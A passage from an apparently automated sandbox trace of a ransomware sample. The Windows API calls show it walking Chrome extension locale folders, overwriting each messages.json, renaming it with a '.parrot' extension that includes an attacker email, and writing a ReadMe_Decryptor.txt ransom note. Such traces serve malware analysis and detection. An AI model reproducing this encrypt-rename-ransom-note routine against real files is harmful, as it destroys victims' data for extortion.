hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0228 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0056.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d0370 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0056.964] WriteFile (in: hFile=0x288, lpBuffer=0x5d0370*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0370*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0056.964] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0370 | out: hHeap=0x5b0000) returned 1 [0056.964] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0056.965] CloseHandle (hObject=0x288) returned 1 [0056.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d0228 [0056.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d0360 [0056.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0056.965] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0056.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0360 | out: hHeap=0x5b0000) returned 1 [0056.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b888 | out: hHeap=0x5b0000) returned 1 [0056.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0056.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d94a0 [0056.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95c8 [0056.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0056.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0056.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0057.069] GetFileType (hFile=0x284) returned 0x1 [0057.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0057.079] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0057.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.079] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0c893c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0057.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x2240ba8 [0057.079] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0057.080] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69b888 [0057.080] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0d93d60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0057.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0057.080] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0057.080] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0d93d60, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb0d93d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0d93d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0057.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d94a0 | out: hHeap=0x5b0000) returned 1 [0057.080] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0057.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0057.080] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0057.080] lstrcmpW (lpString1="it", lpString2=".") returned 1 [0057.080] lstrcmpW (lpString1="it", lpString2="..") returned 1 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240a80 [0057.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0057.080] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d90e8 | out: hHeap=0x5b0000) returned 1 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d8fd0 [0057.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d90f8 [0057.080] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0057.337] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.337] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.337] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.337] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.337] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0057.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0057.337] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0057.338] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xdd [0057.338] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0057.338] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0057.338] ReadFile (in: hFile=0x280, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0057.339] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.339] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0057.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0057.339] GetLastError () returned 0x0 [0057.339] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0057.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0057.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0057.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240f30 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d9310 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0057.340] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1f8) returned 0x5d9458 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0057.340] WriteFile (in: hFile=0x280, lpBuffer=0x5d9458*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9458*, lpNumberOfBytesWritten=0x18da44*=0x1f8, lpOverlapped=0x0) returned 1 [0057.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9458 | out: hHeap=0x5b0000) returned 1 [0057.340] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0057.340] CloseHandle (hObject=0x280) returned 1 [0057.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9310 [0057.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d9448 [0057.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0057.342] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0057.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9448 | out: hHeap=0x5b0000) returned 1 [0057.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69ba10 | out: hHeap=0x5b0000) returned 1 [0057.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da318 | out: hHeap=0x5b0000) returned 1 [0057.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9310 [0057.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9438 [0057.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0057.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0057.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0057.365] GetFileType (hFile=0x280) returned 0x1 [0057.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5cee58 [0057.375] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0057.375] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.375] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb101b4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0057.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0057.375] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0057.375] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x69ba10 [0057.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1067780, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0057.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0057.376] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0057.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1067780, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb1067780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb1067780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0057.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9310 | out: hHeap=0x5b0000) returned 1 [0057.376] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0057.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0057.376] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0057.376] lstrcmpW (lpString1="ja", lpString2=".") returned 1 [0057.376] lstrcmpW (lpString1="ja", lpString2="..") returned 1 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d8fd0 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x5d90e8 [0057.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0057.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0057.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d9288 [0057.376] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0057.377] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.377] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.377] 